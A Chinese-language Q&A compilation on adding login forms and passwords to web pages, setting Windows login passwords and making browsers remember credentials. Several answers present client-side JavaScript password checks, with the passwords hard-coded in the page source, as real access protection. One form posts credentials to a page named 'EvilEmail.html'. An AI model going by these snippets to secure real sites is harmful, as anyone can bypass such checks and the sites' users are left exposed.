1、网页制作如何添加用户登录(用户名登录密码那种)
样式
html {
background-color: #E9EEF0
}
.wrapper {
margin: 140px auto;
width: 884px;
}
.loginBox {
background-color: #FEFEFE;
border: 1px solid #BfD6E1;
border-radius: 5px;
color: #444;
font: 14px 'Microsoft YaHei','微软雅黑';
margin: 0 auto;
width: 388px
}
.loginBox .loginBoxCenter {
border-bottom: 1px solid #DDE0E8;
padding: 24px;
}
.loginBox .loginBoxCenter p {
margin-bottom: 10px
}
.loginBox .loginBoxButtons {
background-color: #F0F4F6;
border-top: 1px solid #FFF;
border-bottom-left-radius: 5px;
border-bottom-right-radius: 5px;
line-height: 28px;
overflow: hidden;
padding: 20px 24px;
vertical-align: center;
}
.loginBox .loginInput {
border: 1px solid #D2D9dC;
border-radius: 2px;
color: #444;
font: 12px 'Microsoft YaHei','微软雅黑';
padding: 8px 14px;
margin-bottom: 8px;
width: 310px;
}
.loginBox .loginInput:FOCUS {
border: 1px solid #B7D4EA;
box-shadow: 0 0 8px #B7D4EA;
}
.loginBox .loginBtn {
background-image: -moz-linear-gradient(to bottom, #B5DEF2, #85CFEE);
border: 1px solid #98CCE7;
border-radius: 20px;
box-shadow:inset rgba(255,255,255,0.6) 0 1px 1px, rgba(0,0,0,0.1) 0 1px 1px;
color: #FFF;
cursor: pointer;
float: right;
font: bold 13px Arial;
padding: 5px 14px;
}
.loginBox .loginBtn:HOVER {
background-image: -moz-linear-gradient(to top, #B5DEF2, #85CFEE);
}
.loginBox a.forgetLink {
color: #ABABAB;
cursor: pointer;
float: right;
font: 11px/20px Arial;
text-decoration: none;
vertical-align: middle;
}
.loginBox a.forgetLink:HOVER {
text-decoration: underline;
}
.loginBox input#remember {
vertical-align: middle;
}
.loginBox label[for="remember"] {
font: 11px Arial;
}
HTML代码:
<div class="wrapper">
<form action="/chaos/EvilEmail.html" method="post" >
<div class="loginBox">
<div class="loginBoxCenter">
<p><label for="username">电子邮箱:</label></p>
<p><input type="email" id="email" name="email" class="loginInput" autofocus="autofocus" required="required" autocomplete="off" placeholder="请输入电子邮箱" value="" /></p>
<p><label for="password">密码:</label><a class="forgetLink" href="#">忘记密码?</a></p>
<p><input type="password" id="password" name="password" class="loginInput" required="required" placeholder="请输入密码" value="" /></p>
</div>
<div class="loginBoxButtons">
<input id="remember" type="checkbox" name="remember" />
<label for="remember">记住登录状态</label>
<button class="loginBtn">登录</button>
</div>
</div>
</form>
</div>
2、电脑中登陆页面怎么设置密码??
首先点击“开始”菜单,选择“控制面板”,再找到并点击里面的“用户内帐号”,进入到相应容的设置页面中去
2.点击左上角的“为帐户创建密码”,这里就可以设置登录密码啦,输入两遍相同的密码
3.设置完后,再点击“创建密码”即可,这时就完成了对电脑登录密码的设置,下次当再开机要进入桌面时,会停在用户欢迎界面,输入密码后才可以正常登录。
3、如何将网页设成密码访问
加在<body> </body>之间:
<SCRIPT LANGUAGE="JAVASCRIPT1.2">
<!--密码正确时所出现的提示//-->
var msg = "您输入的密码正确.";
<!--密码正确后所进入的网页连结/-->
var url = "http://msn.com.tw";
function initArray() {
this.length = initArray.arguments.length;
for (var i = 0; i < this.length; i++) {
this[i] = initArray.arguments[i];
}
}
<!--在这里可以设定密码,该密码是以ASCII码来表示的,比如A为97,B为98等。//-->
var password = new initArray(
97,98,99,100
);
var pass_count=0;
var cancel_key=27;
if (document.layers) document.captureEvents(Event.KEYPRESS)
function backhome(e){
if (document.layers){
//if (navigator.appName == "Netscape"){
if (e.which==password[pass_count]) {
checkpassword();
//return false;
}
else {
pass_count=0;
//return false;
}
}
else if (document.all){
if (event.keyCode==password[pass_count]){
checkpassword();
//return false;
}
else {
pass_count=0;
//return false;
}
}
}
document.<I>onkey</I>press=backhome
function checkpassword() {
pass_count++;
if(pass_count>=password.length) {
if(confirm(msg)) window.location=url;
}
}
</SCRIPT>
4、怎么设置快速网页密码登录方法。
设置方法有:
1.在IE工具中----internet选项----内容---自动完成中去设置
2.可以尝试着清理系统垃圾版文件,主要是权清理系统的cookie。可以使用一些工具来清理系统垃圾。
3.尝试把浏览器升级,特别是IE6浏览器,IE6对于一些论坛可能cookie无法正常保存,最好升级到ie8及以上版本才可以。
4.如果没必要的话,可以尝试使用其他浏览器。比如说火狐、Opera浏览器、还有一些使用IE内核的浏览器如360浏览器,搜狗浏览器都可以的。
5、如何对一个HTML页面设置密码输入?
1、新建index.html页面。
2、写入HTML文件,任何一个网页式的文件,必须要有HTML文件的元素,才算合格的网页。用记事本打开index.html
3、添加JS脚本,在<head>之间添加以下JS脚本代码</head><script language="JavaScript"><!--var password="";password=prompt('请输入密码 (本网站需输入密码才可进入):','');if (password != 'mima') {alert("密码不正确,无法进入本站!!");window.opener=null; window.close();} // 密码不正确就关闭//--></script>。
4、添加网页内容,添加网页内容可以验证密码输入正确后进入网页的内容。在<body>之间随意添加元素</boody>。
5、密码错误的访问验证在浏览器输入192.168.1.2,页面会弹出输入密码的提示,输入一个错误的密码,查看页面是否访问。
6、输入正确的密码访问重新打开网页,进入页面,查看网页内容。
6、怎么实现自己写的网页或窗体,输入网站的账号密码进行登录?
如果是要一半的登录注册,肯定是要用到数据库的,具体看你学的啥语言就用啥语言写逻辑了,简单点的网站也可以用excel,记事本之类的存储,看你项目要求了,能实现功能就行
7、如何让网页记住密码?
1、首先,我们打开电脑桌面以后,找到IE浏览器并打开。
2、打开进入ie浏览器界面以后,我们点击界面右上角的按钮“工具”,然后选择点击“internet选项”。
3、进入internet选项界面以后,点击“按钮”。
4、进入内容界面以后,我们找到自动完成一栏,然后点击对应的“设置”按钮。
5、进入自动完成设置界面以后,我们勾选“表单上的用户和密码”,然后点击确定就完成设置了。
8、如何给网页加密码~~~
将以下代码加入HEML的<body></body>之间:
<script LANGUAGE="javascript">
<!--
loopy()
function loopy() {
var sWord =""
while (sWord != "abcd") { //改为你自己的密码!
sWord = prompt("输入正确密码才能登陆!本页密码:abcd")
}
alert("AH...你好,你是本站成员,欢迎光临!")
}
//-->
</script>
9、如何给网站设置登录密码?
我有个留言本程序 留个邮箱 我发给你!
10、html网页怎么设置密码?
添加JS脚本
在<head>之间添加以下JS脚本代码</head>
<script language="JavaScript">
<!--var password="";password=prompt('请输入密码 (本网站需输入密码才可进入):','');if (password != 'mima') {alert("密码不正确,无法进入本站!!"); window.opener=null; window.close();} // 密码不正确就关闭//--></script>